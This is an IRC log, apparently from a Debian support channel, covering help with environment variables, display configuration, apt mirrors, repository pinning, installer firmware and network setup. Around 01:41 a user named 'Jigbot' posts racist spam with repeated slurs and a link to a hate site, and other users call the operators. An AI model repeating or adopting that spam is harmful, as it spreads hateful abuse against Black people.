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| 00:00.28 | Toordog | i'd need more info about the gpg key for repository with apt. How the keys system works? If I have a old key and this key expired, will it be removed and updated automatically? Will it update but key the old key ? |
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| 00:01.12 | teraflops | drm: output of `echo $JAVA_HOME` and `printenv | grep java` is fine too^ |
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| 00:01.36 | HeXiLeD | netbook situation. VGA output used for 19" monitor. I would like to get the built in screen (LVDS1) auto turned off once the netbook detects external monitor connected. Are there any debian docs about this ? |
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| 00:02.19 | drm | teraflops, `echo $JAVA_HOME` works out of my terminal, but anything running out of /usr or other lower level folders sees nothing when you echo JAVA_HOME |
| 00:02.37 | teraflops | drm: the path is wrong? |
| 00:02.58 | teraflops | jre jre/bin ? |
| 00:03.06 | teraflops | share the output not your opinion |
| 00:03.21 | velix | Anyone into ACL? :) |
| 00:03.33 | bazhang | velix, yes |
| 00:03.55 | velix | bazhang: Could you please have a look at the lines I just posted? |
| 00:03.59 | drm | teraflops, in my terminal the path is correct, so bash is reading the variable in from .bashrc correctly, but anything outside of my user environment does not have it |
| 00:04.17 | teraflops | ah |
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| 00:05.39 | oty | drm : reboot and it will be right. |
| 00:05.45 | SynrG | HeXiLeD: i don't have an answer, but i did have a permanently docked netbook and just ran xrandr to turn off the LVDS upon login (via lightdm hook to do that) |
| 00:05.45 | drm | oty, teraflops here all all the scripts https://paste.debian.net/910630/ |
| 00:05.47 | oty | I guess |
| 00:06.32 | SynrG | HeXiLeD: i suppose that could be adapted to test for the existence of a display by parsing the output of xrandr or so ... |
| 00:06.46 | SynrG | HeXiLeD: or else i'm sure there are plenty of examples floating around on the net |
| 00:07.13 | oty | drm: (if by "outside of my user environment" you mean the tty 'n all, you must reboot, or relogin as user "su -l <USER>") |
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| 00:08.35 | drm | oty I have logged out of my account various times, and then logged back in. So you are saying the system needs a full reboot? ok, give me a minute |
| 00:08.41 | themill | drm: there should be no need to set JAVA_* environment variables. What are you trying to do? |
| 00:09.17 | oty | drm, errh. I'm not sure to understand what you meant by "outside my user environement", in fact. |
| 00:09.22 | velix | small update, could anyone have a look please? https://bpaste.net/raw/333082b54428 |
| 00:09.35 | SynrG | HeXiLeD: my lightdm.conf had: display-setup-script=xrandr --output LVDS1 --off --output VGA1 --auto |
| 00:09.59 | oty | drm, I doubt rebooting would do anything more than reloging. |
| 00:10.02 | SynrG | (but as i said, that *unconditionally* turns it off) |
| 00:10.09 | HeXiLeD | i am also looking at video=LVDS-1:d video=VGA-1:e at kernel lever |
| 00:10.12 | HeXiLeD | *level |
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| 00:10.21 | drm | themill, oty I am running scala atm, and one of the startup scripts (which run out of /usr/bin/ ) listens for the JAVA_HOME variable as part of its initialization process |
| 00:10.57 | themill | drm: nothing in debian should require JAVA_HOME to be set to function |
| 00:11.27 | drm | putting an `echo $JAVA_HOME` script in /usr/bin and running it shows that the variable is not set for things running out of there, |
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| 00:11.44 | SynrG | HeXiLeD: and this snippet might be useful for the rest: xrandr | grep ' connected' | cut -d' ' -f1 |
| 00:11.55 | drm | themill, not sure what to tell you, but this script is listening for it, and im not sure what other applications out there might be doing the same |
| 00:11.58 | SynrG | HeXiLeD: "some assembly required" ;) |
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| 00:12.15 | themill | drm: things should honour JAVA_HOME if set; they must not require it to be set |
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| 00:13.15 | drm | themill, that may be the case, however at this point I would also like to get to the bottom of why, if I set a system-wide environment variable, that variable is getting lost on re-login |
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| 00:13.39 | helpmepls | Anyone here who can help me? I'm stumped on two questions for Linux+ practice exam.. |
| 00:13.57 | bazhang | helpmepls, ##linux |
| 00:14.11 | helpmepls | tried, unregistered, but i'm waiting in ##linux-overflow |
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| 00:14.12 | helpmepls | thanks |
| 00:14.16 | helpmepls | ill just wait |
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| 00:14.27 | bazhang | then register helpmepls |
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| 00:24.29 | HumanAI | lol |
| 00:24.35 | HumanAI | piece of shit |
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| 00:25.34 | drm | oty, i tried a full reboot, didnt work sadly, im thinking ill just put a script to source the JAVA_HOME on login, you wouldnt happen to know what folder I should put such a script in would you? |
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| 00:26.12 | swulf-- | Just installed debian on a new laptop with an intel integrated chip + nvidia 1060 card; X boots up (with "intel" driver) and the gdm3 login screen is in 4K (2160p) resolution, but when I log in it changes to 864x486... how do I keep it in 4K? the display settings don't list the option |
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| 00:30.00 | themill | drm: your terminal is likely running a login session (thus .profile is relevant) while your dm and so anything run from the menu system is not running a login session and doesn't source .profile. |
| 00:30.16 | koz_ | I'm having difficulties running 'sudo apt-get update' - I keep getting 'Writing more data than expected' errors. |
| 00:30.25 | koz_ | I've tried all the fixes I could find by Googling: none work. |
| 00:30.33 | koz_ | Could someone help me figure out wtf is going on? |
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| 00:30.59 | themill | koz_: what mirror are you using? |
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| 00:31.29 | koz_ | themill: ftp.nz.debian.org |
| 00:32.14 | themill | koz_: istr I can't check that one from outside NZ ... try a different one. It sounds like Release and Packages are out of sync |
| 00:33.04 | HumanAI | apt-get should use torrent protocol |
| 00:33.14 | koz_ | themill: Is there a master list of all the mirrors someplace? |
| 00:33.20 | themill | HumanAI: that's enough, thanks |
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| 00:33.28 | themill | !mirror list |
| 00:33.28 | dpkg | The best mirror for most users is <deb.debian.org>; other mirrors are listed at http://www.debian.org/mirror/list and ftp://ftp.debian.org/debian/README.mirrors.txt and http://deb.li/map ; ask me about <apt-spy>, <netselect-apt>, <httpredir.debian.org>, <debian mirror checker>. To make a mirror, see http://www.debian.org/mirrors/ ; see also <debmirror>, <apt-mirror>, <ftpsync>, <mirror size>. #debian-mirrors on irc.oftc.net. |
| 00:33.33 | drm | themill, so if i wanted to put a script that would source /etc/profile when I log in, where would I want to put that? |
| 00:33.44 | themill | koz_: deb.debian.org is a redirector that works well |
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| 00:34.07 | themill | drm: depends on your DM and/or your DE. I don't use either of the ones you use... |
| 00:34.11 | koz_ | So I just replace 'ftp.nz.debian.org' with 'deb.debian.org' and call it a day? |
| 00:35.01 | themill | pretty much. I don't know how fast fastly will be in nz... that's the disadvantage |
| 00:35.11 | koz_ | themill: It's fast enough. Thanks! |
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| 00:36.18 | Vizva | if i use xfce in stretch no problem but install kde the system is totally in chaos - good to have my backups |
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| 00:44.57 | zykotick9 | DEs + testing = issues <- IMO... ymmv! |
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| 00:57.04 | awal1 | hm, so mpv have no dependencies on mplyer at all; it works great via cli for both audio/video & local files/online stuff. I thought it was just another front-end for mplayer :P |
| 00:57.16 | missmbob | tsk tsk |
| 00:57.24 | missmbob | i backported it for jessie if you want :P |
| 00:57.44 | awal1 | backported what? mpv? |
| 00:57.50 | missmbob | yeah |
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| 00:58.04 | missmbob | i wanted the newer sexy gui |
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| 00:58.27 | awal1 | I have it in my sid machine yet, which is what I run for daily use. but thanks :P |
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| 01:00.48 | awal1 | mpv has a nice/basic gui also (gnome-mpv) |
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| 01:01.58 | zykotick9 | missmbob: imo, the beauty of mpv is no gui... ymmv ;) |
| 01:02.10 | missmbob | i didnt even realize that existed. didnt even install the deb for gnome-mpv |
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| 01:06.15 | zykotick9 | is even happy mplayer is returning with stretch (only for the framebuffer support) that i think, mpv cleverly dropped (apple-style = throw it out and buy a new one 'cause we don't support that anymore) |
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| 01:14.22 | wondiws | why can't you just add the wifi firmware to the installation images? Nobody cares about those legal details |
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| 01:15.16 | wondiws | help! |
| 01:15.38 | wondiws | anybody here? |
| 01:15.47 | missmbob | !firmware iso |
| 01:15.47 | dpkg | Unofficial <netinst> images - containing non-free Debian <firmware> packages - for installing Debian 8 "Jessie" are available from http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/current/ . See also <install guide>. |
| 01:15.52 | missmbob | we did |
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| 01:16.36 | wondiws | missmbob, I'm now at the step detect network hardware, I see you can load it from removable media as well |
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| 01:16.51 | wondiws | but the installer doesn't accept my usb stick :( |
| 01:17.04 | missmbob | the iso with them is easier |
| 01:17.44 | awal1 | wondiws, you want it easy or you prefer headache? |
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| 01:18.23 | awal1 | !firmware image |
| 01:18.23 | dpkg | Unofficial <netinst> images - containing non-free Debian <firmware> packages - for installing Debian 8 "Jessie" are available from http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/current/ . See also <install guide>. |
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| 01:19.04 | missmbob | me calling it up a minute ago wasnt enough? had to have the big canadian man do it again? :P |
| 01:19.55 | zykotick9 | wonders, has that load firmware from install worked for _anyone_ at *any* time? <- he KNOWs it has! but has only seen issues in #d irc.... |
| 01:20.38 | missmbob | i've never had a separate usb stick to use. i always just have the one i'm installing from |
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| 01:21.05 | wondiws | I'm downloading the iso now, as it fails to load firmware from usb and mmc |
| 01:21.46 | zykotick9 | wondiws: you're NOT alone with having issues with that!!! it _can't_ be documented very clearly is all i have to say! |
| 01:21.58 | missmbob | i dont care to try to understand what you just said. how do you plan to copy this iso to the usb flash? |
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| 01:23.45 | missmbob | if you say rufus i swear to awal1 |
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| 01:24.17 | zykotick9 | thinking "cp foo.iso /dev/sdb" [<- assuming sdb is the USB!!! DANGER if not!!!] is the best instruction for debian hybrid iso images to USB (works with sudo where cat breaks) |
| 01:24.40 | missmbob | yes. that. do that wondiws ^ |
| 01:24.49 | theluckymike | in ssh config file, I want to add host username to be used as logged in username, what is $ variable for it? |
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| 01:27.03 | jim | HumanAI, apt already can do 2 or 3 protocols, it's kinda a plugin thing... if you want, you can look into adding torrent... some of the cd images were distributed using torrent, so I dunno, but maybe it could be a good thing. one thing, it could take a lot of work |
| 01:27.50 | zykotick9 | doesn't think apt torrent really caught on... ymmv? |
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| 01:28.24 | _Vi | How do I override pin priority for packages from specific external repository from source.list.d ? |
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| 01:29.08 | zykotick9 | _Vi: [personally, I have no freakin clue! sorry, but comment from peanut gallery] those that understand pinning, know not to use it ;) |
| 01:29.56 | awal1 | missmbob: I was distracted watching youtube stuff; I havent seen you called dpkg :P |
| 01:30.29 | jim | exactly, ymmv -and- after you get the plugins working, getting the archive setup for it will also take some work |
| 01:30.31 | missmbob | awal1: i was just having fun. i had "it's a man's world" playing in my head |
| 01:30.40 | _Vi | The apt_preferences(5) manpage is not clear. |
| 01:30.40 | GenTooMan | Anyone have suggestions on how to have any OpenGL support on an EEPC 1005ha? It works great just wanted to see if OpenGL support was possible with the GMA950 display device. |
| 01:30.43 | awal1 | lol |
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| 01:31.34 | _Vi | I tried something like 'Pin: origin "www.deb-multimedia.org"', but it seems to affect packages outside deb-multimedia as well. |
| 01:32.06 | missmbob | i dont know if that's an example or what you're actually thinking of doing but that sounds terrible |
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| 01:33.09 | zykotick9 | GenTooMan: you need to share the graphics info, lspci -nn for the pciid i think... it it intel graphics or something else? |
| 01:33.25 | zykotick9 | s/it it/is it/ |
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| 01:36.33 | TomTomTosch | _Vi: show us the whole preferences file, please. > paste.debian.net |
| 01:37.36 | _Vi | https://paste.debian.net/910633/ |
| 01:38.17 | ryouma | is there anything in debian that will allow me to play last.fm (through browser or a standalone client) safely? it seems to want me to sign up with spotify, which breaks and says "installing". i don't understand any of this. i do not want to download a spotify client if it is not part of debian and thus trustable. is there a debian solution? if not, can i virtualize? |
| 01:39.03 | _Vi | I want deb-multimedia to be available, but not be a target of auto-upgrades. It has versions of the form "10:some_obsolete_version". |
| 01:39.40 | zykotick9 | !dontbreakdebian |
| 01:39.41 | dpkg | i heard dont break debian is https://wiki.debian.org/DontBreakDebian |
| 01:39.51 | missmbob | !dmo |
| 01:39.52 | dpkg | We recommend against using deb-multimedia.org; these unofficial packages are known to cause many hard to debug problems. They are not in Debian either because the they are poor in quality or for legal reasons. See http://deb-multimedia.org/ or ask me about <dmm wheezy>, <dmm jessie>. See also <dmm list>, <dmm mirrors>, <dmm pinning>, <why not dmm>, <dmm remove>. |
| 01:40.01 | missmbob | with those people especially |
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| 01:41.07 | _Vi | !dmm pinning |
| 01:41.07 | dpkg | To ensure that you only get the packages you really want from deb-multimedia.org, «echo -e 'Package: *\nPin: origin "www.deb-multimedia.org"\nPin-Priority: 101' > /etc/apt/preferences.d/dmm». Check this worked with «apt-cache policy» or «apt-cache policy $package». Ask me about <why not dmm>. If you also use backports, you should pin them higher than dmm. |
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| 01:41.17 | Jigbot | Tired of niggers? |
| 01:41.23 | Jigbot | Sick of their monkeyshines? |
| 01:41.26 | Jigbot | We are too! |
| 01:41.39 | ryouma | !ops |
| 01:41.40 | dpkg | Please invoke 'dpkg: ops $problem' to call the operators to deal with a specific problem. Misuse of this will lead to a ban. Operators can also be contacted in the #debian-ops channel. |
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| 01:41.51 | Jigbot | Join shitskin.com |
| 01:41.56 | TomTomTosch | _Vi: also the output of apt-cache policy ffmpeg , please. |
| 01:41.59 | Jigbot | At Shitskin, we are not White supremacists! |
| 01:42.05 | Jigbot | I myself am a Mexican! |
| 01:42.09 | bazhang | !ops | Jigbot |
| 01:42.10 | dpkg | Hydroxide, dondelelcaro, LoRez, RichiH, mentor, abrotman, Maulkin, stew, peterS, Myon, Ganneff, weasel, zobel, themill, babilen, SynrG, jm_, somiaj, jelly: bazhang complains about: | Jigbot |
| 01:42.16 | Jigbot | Basically, if you are sick of niggers and aren't a nigger, we want you! |
| 01:42.17 | zykotick9 | _Vi: wow, deb-multimedia didn't support pinning when i used it... (it was called something else at that time) TIL. |
| 01:42.28 | Jigbot | Join today to unite in the epic battle against the feral negroid beast |
| 01:42.30 | Jigbot | Join today! |
| 01:42.34 | _Vi | TomTomTosch, The output was OK. The problem was afterwards with command like "apt-get install libsmth -t jessie-backports". It refused. I removed the pin and it worked. |
| 01:42.39 | Jigbot | http://www.shitskin.com |
| 01:42.46 | Jigbot | Shitskin, where niggerhaters unite! |
| 01:42.48 | _Vi | But I pinned to -1 instead of 101... |
| 01:42.55 | Jigbot | Niggerhaters of all non-negroid races! |
| 01:43.11 | HeXiLeD | SynrG: DISPLAY=:0.0 xrandr --output LVDS1 --off --output VGA1 --mode 1920x1080 --rate 60 to fluxbox/startup or /etc/X11/Xsession.d/something.conf works |
| 01:43.24 | _Vi | Also "apt-cache policy ffmpeg" showed difference only with "Package: ffmpeg", not with "Package: *". |
| 01:43.33 | HeXiLeD | now i just woult like to have in auto detect mode |
| 01:43.58 | TomTomTosch | i know what it does. i want to see the priorities it assigned.... |
| 01:45.02 | _Vi | deb-multimedia is useful including because of one can install license-shady things from it easily. |
| 01:46.10 | somiaj | HeXiLeD: you can also set display stuff in /etc/X11/xorg.conf.d/ config snippits directly without having to run xrandr after xorg loads |
| 01:46.29 | somiaj | !deb-multimedia |
| 01:46.30 | dpkg | We recommend against using deb-multimedia.org; these unofficial packages are known to cause many hard to debug problems. They are not in Debian either because the they are poor in quality or for legal reasons. See http://deb-multimedia.org/ or ask me about <dmm wheezy>, <dmm jessie>. See also <dmm list>, <dmm mirrors>, <dmm pinning>, <why not dmm>, <dmm remove>. |
| 01:46.56 | somiaj | though unsure if they are getting any better, I think deb-multimedia repos (the pure blend) is different than that repo |
| 01:47.12 | HeXiLeD | somiaj: i am thinking just using default xorg |
| 01:48.18 | somiaj | https://wiki.debian.org/DebianMultimedia is different than deb-multimedia.org which might be worth looking into |
| 01:48.34 | _Vi | somiaj, Already issues a while above. Primary reasons for using deb-multimedia: 1. Sometimes early access to new version (when backport is not yet available); 2. More codecs and filters <= "They are not in Debian either because the they are poor in quality or for legal reasons" |
| 01:49.38 | somiaj | zykotick9: apparentally it does work provided you install from CD which not many people do, usb installs seem to not work the same due to how it looks for it on the usb thumbdrive (which may be what you are installing from) |
| 01:49.41 | _Vi | Previously there was reason 0. true ffmpeg instead of libav. |
| 01:50.28 | somiaj | _Vi: I have yet to find multimedia that I'm not able to play with what is in debian, only thing I have gotten outside is libdvdcss and I compile that from source. |
| 01:50.38 | somiaj | _Vi: but I admit, my needs may not be as much as someone else |
| 01:51.10 | somiaj | _Vi: my suggestion is compile the stuff you need, less likely a poor quality repo/package will mess with yoru core system, and put thigns in /usr/local and maybe something like stow to help manage. |
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| 01:51.57 | missmbob | i was helping someone a couple months back with random iceweasel crashes. turned out to be from a dumb dmo library. their quality is not okay |
| 01:51.58 | _Vi | somiaj, This way is also in use, but for trickier things. Being integrated into the system has advantages. |
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| 01:52.23 | _Vi | missmbob, That's why I want to use DMO selectively, not automatically. |
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| 01:54.04 | somiaj | _Vi: it is hard to use a repo selectivally...but choice is yours, we are just trying to give some alternatives which may have less bugs. |
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| 01:54.24 | GenTooMan | zykotick9: Intel 945GSE is the graphics GPU Read the debian Wiki but seemed more confusing to me than anything. I installed MESA however it doesn't seem the X server supports open GL with mesa installed |
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| 01:54.41 | _Vi | somiaj, I though this tricky pinning scheme is designed for such flexibility/. |
| 01:54.47 | somiaj | GenTooMan: what kernel / debian version are you using. |
| 01:55.21 | somiaj | _Vi: even then, if something has a dependency and when you use the -t deb-multimedia the pinning jumps to 990, and you will pull in depends (such as libaries) that could replace the debian ones. |
| 01:55.46 | somiaj | _Vi: pinning keeps things from being installed regurally, but when you do install something from there, the depends can still cause issues. |
| 01:56.39 | _Vi | somiaj, I will typically see deb-multimedia in download URLs, so I can memorize potential breaking points or ^C it. |
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| 01:57.09 | _Vi | The problem is requesting usual except-nonbreaking "apt-get upgrade" and getting deb-multimedia's versions. |
| 01:57.32 | somiaj | _Vi: it should be okay, for the most part. People do use those packages...(: |
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| 01:58.28 | somiaj | _Vi: debian just has very high stanadards for packages, and it is a shame to me to see this standards degrageted by such a repo, but alas, I don't need any of those packages, so it isn't like I should have much of a say. |
| 01:59.09 | _Vi | In libav epoch of Debian I added deb-multimedia (or debian-multimedia back then) almost automatically even if FFmpeg is not really needed at the deployment. |
| 01:59.11 | GenTooMan | somiaj SMP Debian 4.8.15-2 (2017-01-04) kernel / Running Jessie 8.5 I believe. That's what the kernel version reports itself as. |
| 01:59.31 | somiaj | GenTooMan: have you installed xserver-xorg-video-intel from jessie-backports as well? |
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| 02:02.35 | GenTooMan | somiaj hmmm I would say nay to that let me check how to do that. |
| 02:05.36 | somiaj | GenTooMan: provided you have jessie-backports enabled (since you have the backports kernel), apt-get -t jessie-backports install xserver-xorg-video-intel |
| 02:06.08 | somiaj | GenTooMan: then reboot, maybe the newer kernel/driver will work better with your card. You can also get mesa from backports if needed, but the driver should use the jessie mesa just fine |
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| 02:10.26 | GenTooMan | somiaj I will give it a try maybe it will work ... I've found 3d support under linux a bit messy especially getting it to work (blew up Gentoo a few times trying that with Nvidia based drivers). |
| 02:10.55 | zykotick9 | somiaj: re firmware from installer - thanks. i haven't used a physical CD to install debian since wheezy... and i've never _personally_ tried to load firmware. i've just seen people in #d having _issues_ with it, and even the #d veterans seemingly unable to assist... |
| 02:11.05 | somiaj | GenTooMan: I have been using the non-free nvidia blob for years with no problems. I have laptops with radeon or intel that work okay, but never tried 3d stuff on them. |
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| 02:11.54 | somiaj | zykotick9: oh I see lots of issues, but one day I was here and got talking about the design. It is designed to be from a seperate usb drive from a cd install, and just doesn't seem to work if installing from a usb without a second stick (and even then it may not work) |
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| 02:12.26 | zykotick9 | somiaj: which is a GREAT piece of information to know. thanks. |
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| 02:14.31 | somiaj | zykotick9: I haven't tested this, but trust the source that was talking about it. |
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| 02:15.25 | zykotick9 | GenTooMan: i gotta say, my personal experience with intel + debian has always been out of the box working ?!?! i have no idea what to suggest, but if it's a new chipset you might want to try the kernel from backports if you're not already running it. best of luck. |
| 02:16.04 | somiaj | yea, that is why I'm pointing him to the backports driver for xorg too, that is the biggest issue I see with newer intel cards, just need the kernel/driver from backports |
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| 02:16.28 | somiaj | though I'm intersted to see how well stretch does and if the modesetting driver is better than the intel one which is the new change. |
| 02:16.46 | zykotick9 | somiaj: i've never had to personally do the backported xorg stuff... but i'm sure for some cases it's exactly what is needed ;) |
| 02:16.49 | GenTooMan | zykotick9 It's an ancient chipset actually :D |
| 02:17.08 | zykotick9 | GenTooMan: that's weird then... |
| 02:17.26 | zykotick9 | run i915 which has issues with testing... is this testing and not stable? |
| 02:17.53 | awal1 | somiaj: I tried to load firmware from usb installing from dvd; dvd installer doesn't detect the firmware in the usb. well, I did that for squeeze & wheezy. since then, I just use the unofficial iso when needed |
| 02:18.32 | somiaj | there was some generation of intel that just had bad linux support, I forget which it was. Outside of that, most have just worked. |
| 02:19.44 | zykotick9 | somiaj: there was some intel "branded" but not actually made graphics is some of the netbook systems... ploubes <-spelling?!?! or something |
| 02:20.15 | GenTooMan | Yeah... keeps complaining "OpenGL" I should update the DRAM to 2G at least (1G works fine but 2G is like dirt cheap) |
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| 02:21.45 | somiaj | GenTooMan: which card is it again? |
| 02:22.48 | GenTooMan | somiaj I just checked out a different application it appears the version of OpenGL is the issue. GREAT I think MESA should support upto 3.3 at least. I'll have to check that. |
| 02:23.12 | zykotick9 | somiaj: re GenTooMan they didn't give the pciid but stated "< GenTooMan> zykotick9: Intel 945GSE is the graphics GPU Read the debian..." |
| 02:23.13 | somiaj | GenTooMan: there is a newer mesa in jessie-backports |
| 02:24.32 | somiaj | though installing it isn't easy, you have a lot of libs you have to upgrade correctly to get dependencies to work out |
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| 02:30.13 | GenTooMan | somiaj yeah I know how that feels. It was hard to get the right version of Eclipse working on this system as Jessie doesn't use NEON.1 even. It didn't have the marketplace option so I had to uninstall and directly install Eclipse NEON.2 then I was able to install OpenSTM32 and STM32CubeMX talk about annoying. |
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| 02:33.50 | GenTooMan | somiaj at least I could install minicom (geesh no serial port software for linux and that ancient ncurses based tool wow talk about flash back geesh I felt like it was 1996 suddenly). |
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| 02:56.46 | GenTooMan | glxinfo answers the questions 1.4 HW and 2.1 Mesa hmmm that's a bit disappointing. |
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| 03:31.29 | HeXiLeD | as i am trying to setup X11 forward. all the docs online seem to fail and nothing happens. what could be causing this ? |
| 03:32.11 | HeXiLeD | debug1: Requesting X11 forwarding with authentication spoofing. debug1: Sending environment. |
| 03:32.20 | HeXiLeD | and nothing happens |
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| 03:58.29 | armando | GenTooMan: you can do what you want most likely with screen directly without having to mess around with minicom |
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| 04:02.26 | ambient | Hello, I am trying to update tor browser but get "You might be under attack, or there just may be a networking problem." |
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| 04:12.26 | SpaceAce | can anyone recommend a program to make an ISO snapshot of a running OS? |
| 04:12.33 | SpaceAce | I want to back up my VPS |
| 04:12.47 | dTal | an ISO snapshot? |
| 04:13.00 | SpaceAce | yes, just a backup to an ISO |
| 04:13.09 | dTal | why an ISO? |
| 04:13.09 | SpaceAce | for downloading and archiving elsewhere |
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| 04:13.23 | dTal | as opposed to say a tarball |
| 04:13.30 | SpaceAce | so i can mount it in VM |
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| 04:13.41 | SpaceAce | i guess a tarball would suffice |
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| 04:14.46 | SpaceAce | mondorescue looks like a decent tool for the job, but I can't find much info about it |
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| 04:15.06 | dTal | that's a good reason for wanting an ISO (you can mount tarballs but you need fuse), but it's not neccesarily a good reason to dump it as an ISO in the first place |
| 04:15.28 | SpaceAce | i've got a dodgy vps service that i want to seamlessly ditch |
| 04:15.34 | ambient | Hello, I am trying to update tor browser but get "You might be under attack, or there just may be a networking problem." |
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| 04:17.08 | dTal | [5~ |
| 04:17.09 | SpaceAce | backing up the OS while it's running is the biggest requirement |
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| 04:20.01 | SpaceAce | any suggestions, dTal ? |
| 04:20.59 | qman__ | SpaceAce: stop all your services, rsync to destination, install bootloader at destination, boot |
| 04:23.22 | ryouma | ambient: tor itself? the tor package? |
| 04:23.26 | SpaceAce | seems pretty straightforward, qman__ |
| 04:23.27 | SpaceAce | thanks |
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| 04:23.44 | SpaceAce | that'll cover my MySQL database and web apps, too? |
| 04:23.50 | SpaceAce | and full filesystem |
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| 04:24.16 | ryouma | what seems straightforward has not been so in debian ime |
| 04:24.49 | ryouma | tons of things to watch for, make sure the chroot is correct, /etc/*tab, etc. |
| 04:24.55 | ambient | ryouma, tor browser. |
| 04:25.04 | qman__ | SpaceAce: yes, just make sure you stop mysql first, etc |
| 04:25.12 | qman__ | to make sure it stays consistent |
| 04:25.12 | SpaceAce | i'll stop everything before i proceed |
| 04:25.14 | ryouma | ambient: somebody else just brought that up recently |
| 04:25.34 | qman__ | you'll boot a live environment in your destination, format the filesystem, and set up ssh so you can rsync over |
| 04:26.08 | qman__ | rsync the data, tweak configs like /etc/fstab and /etc/hostname and /etc/hosts as needed, install the bootloader (probably grub), and be able to boot |
| 04:27.41 | missmbob | if you actually wanted to make an iso of the running system you can use systemback https://launchpad.net/systemback |
| 04:27.54 | ambient | ryouma, and the answer is...? |
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| 04:28.26 | ryouma | but mainly the problems i had were to do with bugs and stuff i did not understand in grub and the ramdisk for teh kernel |
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| 04:28.49 | ryouma | ambient: i don't know, are there no bugs on it? is this only recent? it has always had such problems afaik |
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| 04:29.01 | ambient | oh pfff |
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| 04:29.24 | ryouma | debian adds some kind of extension to the name, then tries to dl a url that does not exist on the server. you could hack the script to get the correct url maybe. dunno. |
| 04:29.41 | awal1 | Any nice script for restore apps minimized to system tray? |
| 04:29.42 | ryouma | but then people say the thing doesn't download itself either, so that might not be related to the script |
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| 04:30.35 | awal1 | I think that icewm have that feature, but I don't find how it's done googling |
| 04:32.07 | awal1 | also kde somewhere in advanced settings have a feature for minimize to tray any app (and restore it via keyboard shortcut) |
| 04:32.35 | missmbob | you can use the ancient alltray too |
| 04:33.06 | awal1 | I tried it under wheezy it was very buggy |
| 04:33.16 | missmbob | it does suck, yeah. |
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| 04:35.59 | awal1 | I think it was like once iconified usinng alltray some apps never "restore" |
| 04:36.38 | missmbob | oh yeah. it would actually restore them to different workspaces so you never saw it |
| 04:36.58 | awal1 | maybe; I dont remember |
| 04:37.42 | nkuttler | awal1: restoring sounds like a job for a panel/taskbar, not the systray |
| 04:37.58 | nkuttler | or a job for the app that shows an icon there |
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| 04:39.07 | josndir | How do I ssh into another computer with an ethernet cable connected to it from mine allowing me to control it? |
| 04:39.26 | josndir | ssh is supposed to be set up on it, how do I get the ip? |
| 04:39.27 | nkuttler | josndir: um.. ssh host? |
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| 04:40.14 | awal1 | nkuttler, going to boot my debian icewm vm and maybe I find what icewm does exactly |
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| 04:40.19 | nkuttler | josndir: where does the target get its ip from? |
| 04:40.22 | josndir | Also, I am connected to a wireless network on my computer which is connected to the internet, and when I connect to the other computer (in my attempts) it disconnects me from the internet for some reason |
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| 04:40.42 | nkuttler | josndir: "connect"? |
| 04:41.01 | nkuttler | josndir: do you have some kind of router in this setup? |
| 04:41.50 | josndir | nkuttler: I've gathered that I should setup a dhcp server in order to receive its ip through tshark -i eth0 maybe :s |
| 04:42.22 | josndir | the router which I'm wirelessly connected to connects me to the internet if that's what you mean |
| 04:42.23 | nkuttler | josndir: if both boxes are directly connected, no need for that. just give both nics ips on the same network |
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| 04:43.06 | josndir | nkuttler: the other computer isn't wirelessly connected |
| 04:43.13 | nkuttler | josndir: yeah |
| 04:43.13 | josndir | to the internet |
| 04:43.30 | nkuttler | josndir: do you only want to ssh into that computer, or do you actually want to share your internet connection? |
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| 04:43.54 | josndir | sharing the internet connection would be useful.. |
| 04:44.04 | josndir | so let's go with that |
| 04:44.17 | nkuttler | josndir: well, the first step is to be able to ping each other |
| 04:44.20 | josndir | but I also want to be able to ssh into it |
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| 04:44.57 | missmbob | https://wiki.archlinux.org/index.php/Internet_sharing |
| 04:45.04 | josndir | nkuttler: but how do I find out its ip? as soon as I turn up my eth0 I get disconnected from my wireless internet |
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| 04:45.38 | nkuttler | josndir: how do you turn it up? |
| 04:46.03 | josndir | nkuttler: ifup eth0 |
| 04:46.16 | nkuttler | josndir: and what's in your /etc/network/interfaces ? |
| 04:47.07 | josndir | nkuttler: https://paste.debian.net/910647/ |
| 04:47.28 | nkuttler | josndir: yeah, you don't want dhcp there, you want a static ip |
| 04:47.43 | josndir | hmm why not dhcp :s |
| 04:47.49 | josndir | I thought it does it all for me :D |
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| 04:48.08 | nkuttler | josndir: sure, if you configre a dhcpd for your wired connection |
| 04:48.20 | nkuttler | josndir: but there's nothing on your wired network |
| 04:49.04 | josndir | only that one computer I want to connect to, and I also want to be able to connect to a router with a wire to access the internet at higher speeds |
| 04:49.16 | nkuttler | josndir: you have a wired router? |
| 04:49.38 | josndir | nkuttler: wireless and wired |
| 04:49.41 | nkuttler | josndir: then plug both boxes into that. don't link them directly |
| 04:49.54 | nkuttler | that should be *much* easier |
| 04:50.00 | josndir | nkuttler: right now I only have access to a wireless one |
| 04:50.26 | nkuttler | right now you're contradicting yourself |
| 04:50.54 | nkuttler | so, anyway, static ip, on *both* boxes, then ping each other, then read the arch wiki guide, it looks good enough |
| 04:51.17 | josndir | I have a wired router at another place, so I don't want to set dhcp up in a way that I can't connect to the internet with a wire anymore you see :\ |
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| 04:51.33 | josndir | but right now for the next weeks I only have a wireless router |
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| 04:52.30 | josndir | nkuttler: how do I figure out the ip of the other computer? it's headless and I only have ssh running on it |
| 04:52.41 | josndir | so I can only see the ip if I ssh into it |
| 04:53.01 | nkuttler | josndir: why do you think it even has an ip? |
| 04:53.08 | nkuttler | josndir: is it configured to use dhcp? |
| 04:53.09 | missmbob | sudo arp-scan 192.168.0.0/24 |
| 04:53.33 | josndir | yes nkuttler |
| 04:54.48 | nkuttler | josndir: yes, then you'll need to run a dhcpd on the wired interface |
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| 04:55.15 | josndir | so my /etc/network/interfaces is correct? |
| 04:55.40 | nkuttler | josndir: no |
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| 04:56.43 | nkuttler | josndir: https://wiki.archlinux.org/index.php/Internet_sharing |
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| 05:03.46 | josndir | nkuttler: my initial problem, however, is that if I turn up my eth0 interface it kicks me off the wireless internet for some reason, and I still need to set up my static interface without knowing what ip values to use. I know that most networks have the 192.168.x.x address but my wireless for example is 10.36.1.146 |
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| 05:05.46 | josndir | nkuttler: also, what does the "address" stand for (from debian network configuration wiki) and the "gateway" ? is the address the address of my wireless router or my laptop which was wirelessly assigned to me? |
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| 05:13.07 | Heston | is it normal to lose all input responsiveness while my swap is being utilized? |
| 05:14.07 | Heston | I'll open one too many firefox tabs any desktop locks up completely until my swap partition is finished being written to... |
| 05:14.25 | Heston | and my desktop* |
